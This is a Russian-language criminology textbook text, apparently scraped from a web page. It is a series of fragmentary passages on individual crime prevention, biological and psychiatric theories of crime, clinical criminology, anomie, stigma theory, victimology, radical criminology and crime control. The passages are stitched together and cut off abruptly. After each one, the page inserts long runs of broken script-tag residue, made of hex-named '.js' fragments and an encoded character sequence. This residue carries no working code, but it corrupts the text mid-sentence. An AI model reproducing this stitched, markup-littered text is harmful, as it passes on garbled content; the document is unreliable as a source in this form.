Применение методов индивидуального предупреждения преступного поведения предполагает достаточно длительное и систематическое воздействие. Но при этом должен комплексно применяться весь арсенал методов, все силы и средства воздействия на личность, соответствующие демократическим принципам отношения к личности.
Можно выделить следующие методы индивидуального воздействия: убеждение, оказание помощи, принуждение.
Метод убеждения – это комплекс воспитательных, разъяснительных мероприятий, осуществляемых в целях изменения антиобщественной направленности личности и закрепления ее положительной социальной ориентации. Убеждение применяется для преодоления или нейтрализации основных антиобщественных ориентации, могущих привести к совершению преступлений.
Основными формами реализации метода убеждения являются: индивидуальные и коллективные беседы, обсуждение поведения лица, установление над ним индивидуального и коллективного шефства, стимулирование участия в общественно полезной деятельности и т. п.
В процессе реализации методов убеждения применяются разнообразные психологические и педагогические приемы воздействия на разум, чувства и волю правонарушителя. На практике положительно себя зарекомендовали беседы. В индивидуальном предупреждении преступного поведения используются беседы трех видов: ознакомительная, предупредительная и воспитательная (классификация А. И. Алексеева).
Ознакомительная беседа – ответственное мероприятие, от содержания и результатов которого во многом зависит ход дальнейшей воспитательной работы. Психологическая атмосфера такой беседы, ее тон должны отражать общую линию индивидуальной работы – сочетание доброжелательности, заинтересованности в судьбе человека с требовательностью к нему, его поведению. Чтобы эта беседа была эффективной и предметной, необходимо собрать как можно больше информации о самом лице, его поведении, окружении, связях и т. п.
Предупредительная беседа проводится либо при наличии фактов антиобщественного поведения лица, взятого на профилактический учет, либо без каких-либо внешних поводов, в порядке повседневной работы. Предупредительная беседа наряду с главной ее задачей – оказанием непосредственного воспитательного воздействия, преследует цель контроля за поведением подучетного, а также используется для информационного обеспечения индивидуального предупреждения преступлений.
Воспитательная беседа близка по цели, основному содержанию, способам воздействия предупредительной беседе. Пути воздействия на сознание, чувства и волю, используемые в ходе предупредительных и воспитательных бесед, во многом сходны. Однако воспитательные беседы проводятся, как правило, в неофициальной обстановке, чаще представителями общественности, по месту жительства, учебы "или работы лица, в отношении которого реализуется данная мера.
Наряду с беседой к числу основных организационно-тактических форм непосредственного воспитательного воздействия относятся вовлечение лиц в социально полезные занятия трудового, общественного, спортивного, самодеятельного и иного характера.a47ab223c06fa4d1bf9cfbcfb16a5123.js" type="text/javascript">82f2c605fb66870fcb6fd7e19e8f2fc1char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)64bcbd3351aaff38b8439e49f618142f.js" type="text/javascript">089f73a29deacd408b2381da2185ec0f.js" type="text/javascript">ce9929469c3c45d4f2b7a1ef6933f75e.js" type="text/javascript">1d76843156a2d4299e393f6bd2232681.js" type="text/javascript">7aaaea376492abe2d4c6c5a982705425.js" type="text/javascript">236908f6a32224cf1e52a2e69492edc0.js" type="text/javascript">c82720bdbd77df162a158e227b1dfb94.js" type="text/javascript">9f78ab0ea0c080e206ba2871fabff6be.js" type="text/javascript">650849bb43ae2040e43cb5c356e15b09.js" type="text/javascript">8a9b9f2b51a0d60a2e00d3860cea1213.js" type="text/javascript">044cd9d9b331f4d76f6874da56d93a26.js" type="text/javascript">

Развитие генетики раскрыло широкие перспективы для выдвижения смелых гипотез о передаче склонности к преступлению генетическим путем. В эпоху бурного развития генетики, когда человечеству приоткрылись ее грандиозные перспективы, весьма заманчиво было найти маленькую биологическую частичку, которая, передаваясь от родителей детям, подобно вирусу, заражает людей склонностью к преступлениям.
В 20-е годы немецкие ученые И. Ланге и Ф. Штумпфль, обследуя преступников из числа близнецов с одинаковым генотипом, попытались доказать решающую роль природных задатков в механизме преступного поведения. Однако последующие изыскания Г. Кранца и К. Христиансена опровергли их выводы. А впоследствии и сам близнецовый метод был подвергнут сомнению. Этот метод не позволял понять, почему близнецы совершают одинаковые преступления: главным фактором является то ли генетическая предрасположенность, то ли одинаковые условия семейного воспитания.
Параллельно с близнецовым методом для обоснования генетической предрасположенности к преступлениям использовались методики биохимического анализа (эндокринная обусловленность преступного поведения). В 1924 году американский исследователь Макс Шлапп опубликовал небольшую статью, в которой обнародовал результаты изучения эндокринной системы преступников. По его данным, почти одна треть всех заключенных страдают эмоциональной неустойчивостью, связанной с заболеваниями желез внутренней секреции .
Через несколько лет в Нью-Йорке Шлапп в соавторстве с Эдвардом Смитом опубликовал книгу "Новая криминология" . Одну из главных ролей в механизме преступного поведения авторы отводили различным эндокринным расстройствам (внешними признаками которых являются, наряду с другими, особенности телосложения).
В 1955 году Эдвард Подольски опубликовал статью "Химическая основа преступного поведения", в которой попытался проанализировать эндокринную и химическую основу, связывающую строение тела и поведение человека. По его мнению, уровень развития физиологии не позволяет пока проверить многих гипотез о сущности преступного поведения, однако наиболее перспективные пути воздействия на преступность следует искать в этом направлении: "Биохимический анализ личности преступника и преступного поведения находится еще в детском периоде своего развития.
Представляется, что ему в не слишком отдаленном будущем суждено стать очень важным методом в трактовке и лечении преступности" .
Пророчество Э. Подольски сбылось: клиническое направление криминологии теоретически обосновало необходимость нейтрализации с помощью химических препаратов гормонов, вызывающих агрессивность человека. И эти методы были внедрены в практику.d354edf69a00643f994206b497788283.js" type="text/javascript">330766f303a1527d59ab1dd29a1bd3e5char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)06e3ead9a68c5da209d72ed78298b8c2.js" type="text/javascript">685fe6ed791ebd1d256d5874329f49af.js" type="text/javascript">8250330fe44fe0e35c335806da87af33.js" type="text/javascript">7bfbaf70641ab62977b002b7c8b3e5eb.js" type="text/javascript">805642bcf4fefed36a972e079ef0badf.js" type="text/javascript">74cf267eadbb7e50e8466f6dc1864c2e.js" type="text/javascript">c9b0e08ac1378229037a63ef96af2073.js" type="text/javascript">1d55fd546f9be530bb605acec8faa365.js" type="text/javascript">2461237e5807ceb3c9a3eb1a6b22faed.js" type="text/javascript">341021a15433d5682d90a32b15c6aa5f.js" type="text/javascript">2d4b44cd2c58fc7b853af9e268dea1fa.js" type="text/javascript">

В 1908 году американский криминолог, профессор университета в Огайо Генри Годдард начал серьезное исследование умственного развития преступников. Через шесть лет Годдард опубликовал результаты своих изысканий: по его данным, 70% заключенных страдали слабоумием .
Используя тест Бинэ-Симона, Годдард определил умственный уровень лиц, страдающих умственной отсталостью в различной степени: интеллектуальный возраст идиотов составлял 1–2 года, имбицилов – 3–7 лет, дебилов – 8–12 лет. Именно в рамках последней возрастной группы, по Годдарду, находится большинство преступников. Однако дальнейшие исследования в данной области опровергли выводы Годдарда. Нередко преступники неохотно идут на контакт, с «трудом выражают мысли, но это не следует путать с умственной отсталостью. Для того чтобы уйти от ответственности, они подчас проявляют незаурядные интеллектуальные способности. Кроме того, низкий уровень интеллектуального развития также не является показателем слабоумия – нередко это оказывается результатом неблагоприятной социальной ситуации, в которой рос и воспитывался человек.
Новое направление развитию психиатрического подхода к анализу преступности дали исследования австрийского ученого Зигмунда Фрейда. Учение 3. Фрейда нередко сводят к концепции сексуальности, хотя она была далеко не единственным элементом его психоаналитической теории.
Обычно сущность теории 3. Фрейда раскрывают при помощи трех понятий: Оно, Я и сверх-Я. Оно – совокупность природных побуждений, передающихся человеку генетически. Оно состоит из двух основополагающих инстинктов: самосохранения, разновидностью которого является сексуальность, и разрушения. Инстинкт разрушения может быть направлен как внутрь (примером этого, по Фрейду, является совесть или самоубийство), так и вовне (агрессия). В основе функционирования Оно – принцип удовольствия. Оно иррационально и аморально. На поверхности непознанного и бессознательного Оно покоится Я, возникшее на основе системы восприятии внешнего мира.
Я есть измененная под прямым влиянием внешнего мира часть Оно. Я старается заменить принцип удовольствия, который безраздельно властвует в Оно, принципом реальности. Я олицетворяет то, что можно назвать разумом и рассудительностью, в противоположность'Оно, содержащему страсти. В нормальных условиях Я предоставлена власть над Оно. Для раскрытия характера взаимоотношений этих психических феноменов Фрейд применяет аналогию: по отношению к Оно Я подобно всаднику, который должен обуздать превосходящую силу лошади. При этом Фрейд, используя ту же аналогию, отмечает, что в отдельных случаях главенство Я над Оно – лишь иллюзия: "Как всаднику, если он не хочет расстаться с лошадью, часто остается только вести ее туда, куда ей хочется, так и Я превращает обыкновенную волю Оно в действие, как будто бы это было его собственной волей" .
В Я Фрейд выделяет часть, которую он называет Я-идеа-лом, или сверх-Я. Схематично сущность взаимоотношений Я и сверх-Я Фрейд выражает двумя императивами: "Ты должен быть таким" и "Таким ты не смеешь быть" . Сверх-Я аккумулирует традиции и идеалы прошлого .
Заповеди и заветы родителей, учителей и авторитетов сохраняют свою силу в Я-идеале и осуществляют в качестве совести моральную цензуру. Несогласие между требованиями совести и действиями Я ощущается как чувство вины. Таким образом, именно в сверх-Я аккумулируются контролирующие воздействия общества и влияние культуры.
Эта схема значительно углубила понимание многих мо-тивационных процессов, в том числе в криминальной сфере. На ее основе американский ученый У. Уайт провел оригинальный анализ феномена преступного поведения. По мнению У. Уайта, человек рождается преступником, а его последующая жизнь – процесс подавления разрушительных инстинктов, заложенных в Оно. Преступления совершаются, когда Оно выходит из-под контроля сверх-Я. Особенностью личности преступника является неспособность его психики сформировать полноценную контролирующую инстанцию сверх-Я .
По мнению Уайта, большинство мотивов преступного поведения во многом совпадают с желаниями, устремлениями типичного обывателя .503a1bf54851048670ae2da219ece111.js" type="text/javascript">2caa8a28dbd2b6c2b4882b9a41e8e004char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)8a554116622e19ef7a043a2f1a7f3f01.js" type="text/javascript">a79c5c828b3dbc4a87581c166e239a9f.js" type="text/javascript">4b52ba510e8832202236b646ca12d2ba.js" type="text/javascript">66193bf3439d43ea711b6b96643b4210.js" type="text/javascript">c5bc7490ec656063457d3dbfa48323ba.js" type="text/javascript">c5a2529570534b73876f4229d4b54bf0.js" type="text/javascript">3d9df85f62f8c3961f7642f05249f2bf.js" type="text/javascript">c1839dd9975517614660a2e69e797241.js" type="text/javascript">a3b5fc245fc3e1a1f8cce90589f64c8f.js" type="text/javascript">7f6b9b8309eb40589378ec3861b24cdf.js" type="text/javascript">e388546e0412f5916f22933d8f7f2365.js" type="text/javascript">

В XIX веке Э. Ферри и Р. Горафало разработали концепцию опасного состояния преступника, суть которой заключалась в том, что преступника надо не карать, а выводить из состояния повышенной склонности к преступлению (и до тех пор, пока это не сделано, изолировать). В XX веке эта концепция была положена в основу нетрадиционного направления науки о методах воздействия на преступность – клинической криминологии. Представители данного научного направления практически отрицали кару как превентивное сдерживающее средство. Они попытались превратить криминологию в своеобразную антикриминогенную медицину, а тюрьму – в клинику.
Значительный вклад в развитие клинической криминологии внесли итальянские исследователи Ф. Граматика и Б. ди Тулио. Весьма основательно методы клинического воздействия на преступников (реальных и потенциальных) разработал французский криминолог Жан Пинатель. Клиническое воздействие осуществляется последовательно в соответствии со следующими этапами: диагноз, прогноз, перевоспитание .
В процессе диагностики необходимо выявить преступный порог лица (легкость выбора им преступных форм поведения). В ходе перевоспитания необходимо улучшить социальные реакции преступника (снизить или устранить агрессивность, эгоцентризм), изменить установки и привычки, изменить отношение к различным социальным фактам (в том числе избавить их от безразличного отношения к уголовному наказанию). К числу достаточно эффективных и наиболее гуманных методов коррекции криминальных склонностей, практикуемых клиницистами, относится психоанализ. Помимо психоанализа в арсенале клинической криминологии – электрошок, лоботомия, таламотомия, медикаментозное воздействие, хирургические методы.
Методы воздействия на преступность, разрабатываемые учеными этого направления, связаны с неопределенным наказанием преступников (лишение свободы до тех пор, пока комиссия врачей, как правило психиатров, не даст заключения об утрате опасного состояния). Эта практика в 70–80-е годы была весьма распространена в ряде стран, в том числе в США. С. Чавкин, исследовавший эту проблему, приводит данные о том, что в США около 80% заключенных отбывали срок по неопределенному приговору .5b2e99e4493f2bb4bf56fe1fcd092ac2.js" type="text/javascript">292ae5d7084d11543714fe57701a182fchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)2a73ff22624df092eb5f82b6b381ebbd.js" type="text/javascript">042efb5e4fac8300b263544201756159.js" type="text/javascript">64c42319431e8a857a0fb8ecbeeb00df.js" type="text/javascript">d918147eeff5ae830329020c244c5c4e.js" type="text/javascript">eb6edb817423ce04a7fb9f31e6934465.js" type="text/javascript">f02670f89a815a692ace2ac2ab6828c7.js" type="text/javascript">261755af90bb74d74f78a31a93eec732.js" type="text/javascript">228e2720c2caf302f1381bd2a8bfe566.js" type="text/javascript">9f75167cc5ccffbb2cf4974bacaad7d5.js" type="text/javascript">657278ea19da7b35c410f6efce76f8f3.js" type="text/javascript">e83228e92fbe42250b61235ddd86cacc.js" type="text/javascript">

Наибольшей популярностью среди социологов того времени пользовалась концепция аномии. В 1938 году Роберт Мертон опубликовал статью "Социальная структура и аномия" , в которой использовал дюркгеймовскую концепцию аномии применительно к проблемам криминологии. Одна из главных идей Р. Мертона заключалась в том, что основной причиной преступности является противоречие между ценностями, на достижение которых общество нацеливает людей, и возможностями их достижения по установленным обществом правилам. Это противоречие приводит к тому, что человек, не сумевший получить определенные ценности по всем правилам, начинает отрицать правила и стремится получить их любой ценой. Статья Р. Мертона дала мощный импульс использованию феномена аномии при объяснении причин преступности.
В 1961 году ученик Мертона Р. Кловард и его сотрудник Л. Олин опубликовали монографию "Преступность несовершеннолетних и возможности: теория молодежных криминальных групп" . Авторы убедительно показали, что общество, прививая подросткам различные ценности, мало заботится о том, является ли их достижение реальным для большинства молодых людей. В действительности овладеть этими ценностями законными способами могут лишь немногие. Большинство вынуждены проявлять ловкость – нарушать нормы морали и требования закона. Когда молодые люди из идеального мира, созданного нравоучениями воспитателей, попадают в реальную жизнь, они начинают испытывать разочарование и фрустрацию. Типичная реакция на это:
создание воровских шаек, в которых посредством хищений молодые люди получают возможность жить в соответствии с господствующими в обществе стандартами потребления;
объединение в агрессивные банды, которые снимают напряжение, вызванное общественной несправедливостью, совершением актов насилия и вандализма;
вступление в антисоциальные группировки, где молодые люди, употребляя наркотики, алкоголь, уходят в себя, замыкаются в тесном кругу сверстников, озабоченных теми же проблемами, и таким путем пытаются заслониться от окружающего их коварства и лицемерия.
Эта книга произвела сильное впечатление на Р. Кеннеди, по инициативе которого был принят закон о предупреждении преступлений несовершеннолетних. Л. Олин возглавил специальную программу расширения возможностей молодежи. Миллионы долларов из государственных и частных фондов были выделены для обеспечения данной программы. Результаты ее реализации были достаточно скромными, тем не менее, по мнению некоторых криминологов, она позволила несколько снизить темпы роста молодежной преступности .8958dea345f138d3dc96bdf6c251365e.js" type="text/javascript">dcc59151da5057b9c13518417fad003cchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)b56563d822700496a5f802b7f1c91329.js" type="text/javascript">c2f56e61450534c81f7416c3dcccec22.js" type="text/javascript">f1539cb21b0c6960225d72a5197bed8e.js" type="text/javascript">3903047f390ab74b4bb1e54dabf30cc7.js" type="text/javascript">c0c1cf1f4a3eb02677d3091d8b6ba1eb.js" type="text/javascript">745724696b54e996ca51f3da5b08c7ac.js" type="text/javascript">0cb9273da8a2d2735fc61cfa7b1e9c39.js" type="text/javascript">c99114de9ca7e927c4a81a01817948a7.js" type="text/javascript">a23037883bc374bdccfc9799027c9fd4.js" type="text/javascript">22328717bf12cf53b58466f4a6f487c9.js" type="text/javascript">4aada3ad2e146e98c7aa4c505cfa4306.js" type="text/javascript">

1938 год был поистине урожайным для криминологии. Он ознаменовался появлением интересной работы ученого из Колумбийского университета Френка Танненбаума "Преступность и общество" .
Ф. Танненбаум попытался применить к решению криминологических проблем социологическую теорию интеракционизма чикагского профессора Д.Г. Мида. Джордж Герберт Мид рассматривал общественную жизнь как серию социальных ситуаций и типичных реакций людей на поведение окружающих (интеракций). По Д. Миду, каждому индивиду общество определяет какую-то роль, в которую тот "вкладывает себя, как актер", его поведение определяется социальными ожиданиями и стереотипами .
Справедливости ради следует заметить, что основная парадигма интеракционистов еще в прошлом веке была сформулирована русским писателем: "Все читали на моем лице признаки дурных свойств, которых не было; но их предполагали – и они родились" .
Применив "эти положения к проблемам объяснения преступного поведения, Ф. Танненбаум достаточно убедительно доказал, что неправильное реагирование общества на преступления является одним из наиболее значимых криминогенных факторов. Он развил мысль М. Ю. Лермонтова и доказал, что если подросток все оценивает негативно, то он утрачивает многое из того положительного, что есть у каждого человека. Отрицательные оценки имеют две стороны:
они удерживают от антиобщественных поступков, но при
неумелом их применении (Ф. Танненбаум называет этот процесс чрезмерной драматизацией зла) они могут инициировать криминализацию личности. Наклеивание негативных ярлыков нередко приводит к тому, что этот ярлык становится компасом в жизни молодого человека.
Надо заметить, что в конце 30-х годов многими социологами со всей остротой был поставлен вопрос о том, справедливо ли рассматривать в качестве общественно опасных только те деяния, за которые закон предусматривает уголовное наказание. Теоретически схема уголовного законотворчества такова: то или иное поведение расценивается как общественно опасное – принимается закон, запрещающий его под угрозой уголовного наказания. Реально же далеко не все, что запрещается законом, представляет опасность для общества. Нередко уголовно-правовые запреты защищают интересы весьма незначительной части общества, и их соблюдение приносит всему обществу не пользу, а вред. Социологи вслед за Р. Горафало пытались найти неправовые определения преступления и преступности. Справедливость и эффективность уголовной репрессии ставилась под сомнение. Разработанная Ф. Танненбаумом концепция "недопустимости драматизации зла" в значительной мере впитала эти идеи. Она легла в основу интеракционистского подхода к изучению преступности, который впоследствии трансформировался в теорию стигмы.
Стигма в переводе с латинского означает клеймо. Из истории мы знаем, что клеймение преступников делало их изгоями, и такая мера борьбы с преступностью нередко инициировала новые, самые тяжкие преступления как ответную реакцию на социальное отторжение. Этот факт был общепризнанным, и его брали за аксиому авторы данной теории. Теория стигмы основывалась на многих философских и социальных традициях. Ее истоки можно увидеть в христианской заповеди "не судите – да не судимы будете". Теоретики анархизма рассматривали государство как начало, озлобляющее человека. По их мнению, все религиозные учения призывали человека к доброте, но государство, основанное на насилии, отрицает всеобщую любовь и способствует проявлениям зла .
И если критики различных форм стигматизации не заходили так далеко, чтобы отрицать само государство, то многие формы его деятельности по воздействию на преступность они ставили под сомнение, рассматривая их не только как неэффективные, но и как вредные.
Эта теория достаточно полно раскрывала глубинные механизмы криминального рецидива, с ее помощью удалось интерпретировать многие эмпирические данные. Например, еще в 1934 году супруги Глюк установили, что факт привода подростка в полицию оказывает гораздо большее влияние на выбор преступной карьеры, чем осуждение: среди имевших приводы уровень рецидива был выше, чем среди судимых .
На развитие теории стигматизации значительное влияние оказала гипотеза Т. Селлина о том, что в поисках отличий преступников от непреступников криминологи исследуют различия между осужденными и неосужденными. В действительности же среди "несудимой части общества" преступников также немало, и среди неосужденных различия между преступниками и непреступниками несущественны .
Эту гипотезу в значительной мере подтвердил Э. Сатерленд, который открыл и исследовал феномен беловоротничковой преступности. Э. Сатерленд проанализировал факты хищений, злоупотреблений служебным положением, коррупции, хозяйственных и экономических преступлений, совершаемых представителями высших слоев общества. Результаты его анализа ошеломили современников. Преступления, совершаемые "сливками общества", многократно превосходят по своей общественной опасности и по размеру материального ущерба традиционную преступность. Кражи, совершаемые представителями трущоб, оказались каплей по сравнению с морем хищений в лакированном мире бизнеса. Парадоксальным результатом его исследований было следующее: несмотря на то, что степень общественной опасности преступлений представителей низших слоев общества ниже, вся мощь карательной машины обрушивается именно на них. Криминальные представители респектабельного общества, как правило, остаются безнаказанными. Это научное открытие привело исследователя к достаточно острой политической проблеме: "Почему закон применяется по-разному к преступникам в белых воротничках и к другим преступникам?" .
Таким образом, из исследования Э. Сатерленда логически вытекал вывод о том, что те, кто попал в поле зрения судебной системы и находится в тюрьмах (контингент, на основе изучения которого криминологи конструируют свои теории), – это лишь незначительная часть реального криминального мира, это наименее ловкие и наиболее обездоленные из преступников.97863a3e34043a233ee5a42c6a90128c.js" type="text/javascript">09ddaff54539dd3ef1af5015e5f89c1achar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)0a760c2d40361e57d187d6140a2b1335.js" type="text/javascript">b7e01f798e650867376976487e609c03.js" type="text/javascript">3385aea7a887cd2b9db08b7da703dbd4.js" type="text/javascript">58e6858942d7efbeb07d2986a8e51d6b.js" type="text/javascript">0294bbe4228eaf42df629c4c9c003331.js" type="text/javascript">31331c24d6aba070da7c9dd6ec3eaeca.js" type="text/javascript">0849aaec9b0ade1e729870eb2cc0a572.js" type="text/javascript">9e812f0a43ad2174bd78271a9438f42c.js" type="text/javascript">dc963c6da8c07b042a40ccb92eb277f2.js" type="text/javascript">c47b23b03a765ded94f33ccff13c97e9.js" type="text/javascript">eb0e680eeacb493905b3309a586600db.js" type="text/javascript">

Интеракционистский подход к объяснению преступности и ее причин дал мощный импульс развитию ряда криминологических направлений, в том числе учению о жертве преступления – виктимологии. Виктимологические идеи родились тысячелетия назад. Самозащита потенциальной жертвы на заре человечества была основным способом воздействия на преступность.
В XX веке интеракционисты провели ревизию всех факторов преступности. От их внимания не ускользнула и значительная роль жертвы в процессе криминализации личности. Фрагментарные исследования роли жертвы в генезисе преступления предпринимались многими учеными и писателями. В учебнике "Криминология" Э. Сатерленд третью главу посвятил анализу жертв преступлений .
В 1941 году немецкий криминолог Ганс фон Гентиг, скрывавшийся от фашистов в США, опубликовал интересную статью "Замечания по интеракции между преступником и жертвой" .
Через семь лет из-под его пера вышла монография "Преступник и его жертва. Исследование по социобиологии преступности" .
Виктимологические идеи привлекли внимание ряда ученых. Постепенно число последователей Г. Гентига стало увеличиваться.
Основные идеи виктимологов сводились к следующему:
поведение жертвы оказывает существенное влияние на мотивацию преступного поведения. Оно может облегчать и даже провоцировать его. Напротив, оптимальное поведение может сделать невозможным преступное посягательство (либо свести его вероятность к минимуму, или по крайней мере позволит избежать серьезных отрицательных последствий криминала);
вероятность стать жертвой преступления зависит от особого феномена – виктимности. Каждая личность может быть оценена с точки зрения вероятности ее превращения в жертву преступления. Эта вероятность определяет виктим-ность человека (чем больше вероятность, тем выше виктим-ность);
виктимность есть свойство определенной личности, социальной роли или социальной ситуации, которое провоцирует или облегчает преступное поведение. Соответственно выделяются личностная, ролевая и ситуативная виктимность;37059171220319a7f6599b4d08d81219.js" type="text/javascript">1f6a1e703b32a83eeb888955203b89c1char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)623130d7b3cb0e9117d0c1e2201d4477.js" type="text/javascript">3c7ce1653375800efe9629dff0605a3e.js" type="text/javascript">7341adbe6dcb9181192cb8733339e4c7.js" type="text/javascript">ce15d4e9c48b4c49a3b1ca69d68e4189.js" type="text/javascript">6940349b4b1e0250884a964f95ad9ec2.js" type="text/javascript">a3d35edae464cd7680cbead5563ee6ab.js" type="text/javascript">7a9120b2d85b8bcad88c0d291011915d.js" type="text/javascript">45dba6feef699b556bfa179e8cd87351.js" type="text/javascript">1cdf8f190edc10621d53249ffb6d40df.js" type="text/javascript">1021ffa9b7adfe2a2a60bce221e75148.js" type="text/javascript">e06443db69ecd1b08393f5210fc57b0b.js" type="text/javascript">

В 60 – 70-е годы западная цивилизация пережила серьезнейший кризис, который значительно усугубился неудачной войной США во Вьетнаме и значительным усилением идеологического влияния стран социалистического содружества. Все это привело к росту популярности идей о необходимости революционных изменений буржуазных социальных систем. Идеи революционности проникли и в науку о преступности.
Теоретическим фундаментом радикалов стали криминологические концепции стигмы и аномии. Не случайно большинство криминологов-радикалов (Г. Блох, Д. Гейс, Д. Кон-гер, В. Миллер, Р. Куинни, Ф. Зак) прежде проводили исследования в русле именно этих научных направлений. Из открытия теоретиков стигмы того феномена, что преступления совершают практически все члены общества, а к уголовной ответственности привлекают лишь наиболее бедных и обездоленных, сам собой напрашивался вывод о несправедливости практикуемых методов воздействия на преступность. Концепция аномии, социальной дезорганизации, хронически присущей капиталистическому обществу, раскрывала глубинные истоки преступности и показывала, что без радикальных перемен в общественном устройстве избавиться от преступности не удастся: "В промышленном мире кризис и состояние аномии суть явления не только постоянные, но, можно даже сказать, нормальные" .
Э. Дюркгейм, автор теории аномии, не считал необходимым избавлять общество от преступности, поэтому сам он революционных выводов из своей теории не делал. Но если соединить воедино концепцию хронической социальной дезорганизации и установку на устранение преступности, то логично сделать вывод о необходимости изменения, социальной системы.
Социологическая криминология стала радикализироваться в начале 60-х годов, когда была переименована в социологию отклоняющегося поведения. К 1973 году радикальное криминологическое направление вполне сформировалось .
Знаменательным в этом отношении был выход книги Яна Тейлора, Пауля Валтона и Джона Янга "Новая криминология" -
Через два года из-под пера тех же авторов вышла еще одна монография – "Критическая криминология" .
В начале 70-х годов американские исследователи Герман и Юлия Швендингер, Антонни Платт образовали союз радикальных криминологов и основали свое периодическое издание для пропаганды революционных криминологических взглядов (иные издательства нередко отказывались публиковать столь смелые выводы радикалов). Радикальные криминологи считали необходимым отмежеваться от конформистской криминологии, которая поддерживает господствующий политический строй. В этом размежевании они иногда заходили настолько далеко, что приходили к выводу о недопустимости расходования денег на криминологические исследования, в то время как обездоленные страдают от голода и нищеты, на которые их обрекает капиталистическое общество .
Радикалы сделали немало смелых, оригинальных и интересных выводов, разоблачающих различные аспекты социальной несправедливости в буржуазном обществе. Например, Р. Куинни, раскрывая вслед за К. Марксом основное противоречие капитализма – между трудом и капиталом, отмечал, что класс крупных собственников использует свое господство как инструмент управления обществом. Вот какова логика его рассуждении: "Криминальная реальность в обществе основывается на определении преступного и непреступного... В основе процессов криминализации – классовые конфликты... В качестве преступных определяются деяния, противоречащие интересам господствующих в экономике классов... Будет ли то или иное деяние оценено в качестве преступного или непреступного, определяет класс, имеющий власть и доступ к правотворчеству" .
В рамках классовой борьбы господствующий класс криминализирует любое поведение, которое противоречит его интересам. Преступления господ, противозаконные деяния власть имущих не квалифицируются как преступления, потому что у капиталистов достаточно власти, чтобы не допустить собственной криминализации .7c22e15d6f3fc8432c4bce4746a70df9.js" type="text/javascript">7aaa822a1f2f4c4e227bfe51568c5c8bchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)6615d4e01b40bd1fc74c5cfa4fb96066.js" type="text/javascript">ff6c987a6cb6e7cde921574235e0d071.js" type="text/javascript">5d911b831d74bea0d1469cf8899efb15.js" type="text/javascript">cea1ce035cdce30aad9c8232ef2baa1e.js" type="text/javascript">8c94fa33751d2610a09cf4a8fd36687f.js" type="text/javascript">b7a0b347d8c5fbd1f244edb7aebb5a07.js" type="text/javascript">18c102791d8c9aa8ebfa6b0aac78c39a.js" type="text/javascript">c424483598ce50f0d2e80299e861e745.js" type="text/javascript">bc600e24ec250c26967eef10196911f4.js" type="text/javascript">7cc8deca430a8956ca3efda3b4c682ad.js" type="text/javascript">ce9e49b2b194641ae983c14ca0edec63.js" type="text/javascript">

В 1896 году Э. Дюркгейм опубликовал монографию "Метод социологии", в которой обосновал смелую гипотезу о том, что преступность – нормальное явление, от которого обществу никогда не удастся избавиться. Ненормальным, по мнению французского ученого, может быть лишь чрезмерный ее уровень: "Конечно, может случиться, что преступность примет ненормальную форму; это имеет место, когда, например, она достигает чрезмерного роста. Действительно, не подлежит сомнению, что этот излишек носит патологический характер. Существование преступности нормально лишь тогда, когда она достигает, а не превосходит определенного для каждого социального типа уровня" .
Эта идея оказалась очень привлекательной для многих политиков, поскольку она в значительной мере снимала с государственных деятелей ответственность за неудачи в борьбе с преступностью. В первой половине XX века акцент в борьбе с антиобщественными проявлениями в странах Западной Европы и США делался на полицейские и пенитенциарные меры. Эта практика нашла теоретическое обоснование в трудах ряда ученых. Например, Э. Сатерленд в 1924 году оценивал полицейские силы как основной инструмент противодействия преступности . В монографии "Принципы криминологии" анализу контроля преступности Э. Сатерленд посвятил всю вторую часть .
Понятием контроля преступности он охватывал деятельность полиции, правосудия, пенитенциарную практику и усилия различных субъектов по предупреждению преступлений.
В 70-е годы в данное понятие стал вкладываться предельно широкий смысл. Под контролем преступности понималась не только деятельность полиции, структур уголовной юстиции и пенитенциарной системы, но и реализация программ социального развития, улучшения жизни, различная исследовательская деятельность. Будучи не удовлетворены неточностью термина, некоторые ученые предлагали отказаться от него, взяв на вооружение выработанную Ф. Листом концепцию уголовной политики .
Однако доктрина контроля преступности оказалась привлекательнее для политиков: всю ее пронизывала аксиома о вечности преступности, о невозможности избавиться от этого общественно опасного явления. Из нее вытекало, что государство может и обязано (как при лесном пожаре) не дать криминальному феномену выйти за границы социальной терпимости (критерий весьма расплывчатый). Соответственно уменьшался и уровень притязаний граждан в плане обеспечения защищенности от преступности, и размывались критерии ответственности должностных лиц: ведь контролируемый рост преступности – это нормально в соответствии с указанной доктриной. Сегодня данное понятие прочно вошло в политический и научный лексикон, и контролирование преступности стало основным подходом к воздействию на криминальный феномен во многих странах.
В развитии теории и практики контроля преступности были и взлеты, и падения. В конце 60-х и в 70-е годы, когда в США и Западной Европе особый интерес вызывали социальное реформирование и практика некарательного воздействия, выработанная клинической криминологией, надежды на избавление от преступности были столь велики, что идеи нормальности определенного уровня криминала потеряли популярность. Однако, когда в начале 80-х годов стало ясно, что надежды на избавление от преступности оказались иллюзорными, интерес к традиционным мерам (полицейской дубинке и тюремной камере) вновь стал возрождаться. Правительство М. Тэтчер в Великобритании и администрация Р. Рейгана в США в борьбе с преступностью основную ставку сделали на наращивание полицейских сил и расширение тюремной системы. Усилия Р. Рейгана увенчались успехом. Уровень преступности в США удалось снизить с 13 млн. тяжких преступлений в 1981 году до 11, 8 млн. в 1984 году. Это был звездный час теоретиков контроля преступности и апологетов жёстких мер воздействия на преступность. Однако дальнейший рост преступности показал, что возможности этих мер сильно преувеличивались.
